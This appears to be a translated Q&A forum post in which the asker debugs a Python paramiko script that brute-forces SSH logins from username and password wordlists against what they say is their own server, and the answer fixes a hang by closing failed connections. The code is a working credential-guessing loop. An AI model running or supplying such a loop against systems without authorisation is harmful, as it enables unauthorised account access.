我有一台SSH服务器,我一直在测试一个执行基于字典的攻击的脚本。通常,我使用一个用户名:密码组合文件并循环访问它,但最近我决定修改我的爱好脚本以允许单独的用户名和密码组合。我认为这将是一个简单的嵌套循环(我选择将密码存储在列表中而不是我用于用户名的文件中)。不幸的是,添加第二个循环似乎导致程序挂起由于某种原因我无法精确定位。我觉得我在这里错过了一些非常明显的东西。该程序执行正常并按预期工作但它似乎永远不会返回...脚本只是在找到正确的组合后挂起并且永远不会正常退出...我必须手动终止它。有问题的块在下面...这是我从主脚本调用的类中的一个更大的方法的一部分。调用该方法,然后主脚本退出,因此没有任何东西会导致这种情况。
with open(self.pwds) as p:
pwords = p.read().splitlines()
try:
format_text = colored('WARNING', 'yellow', attrs=['underline'])
except:
format_text = "WARNING"
print (format_text, "warning_message")
with open(self.words) as w:
for line in w:
line = line.replace("\n", "")
user = line
for x in pwords:
passw = x
print ("Trying: ", user, ":", passw)
s = paramiko.SSHClient()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
s.connect(self.target, username=user, password=passw, timeout=3)
except paramiko.ssh_exception.AuthenticationException:
try:
format_text = colored('FAILED', 'red')
except:
format_text = 'FAILED'
print (format_text)
else:
print ("SUCCESS!")
s.close()
return;
答案 0 :(得分:0)
感谢大家尝试解决这个问题。我找到了答案。即使失败,我也需要关闭SSH连接,如下所示。
try:
s.connect(self.target, username=user, password=passw, timeout=3)
except paramiko.ssh_exception.AuthenticationException:
try:
format_text = colored('FAILED', 'red')
except:
format_text = 'FAILED'
print (format_text)
s.close()
else:
print ("SUCCESS!")
s.close()
return;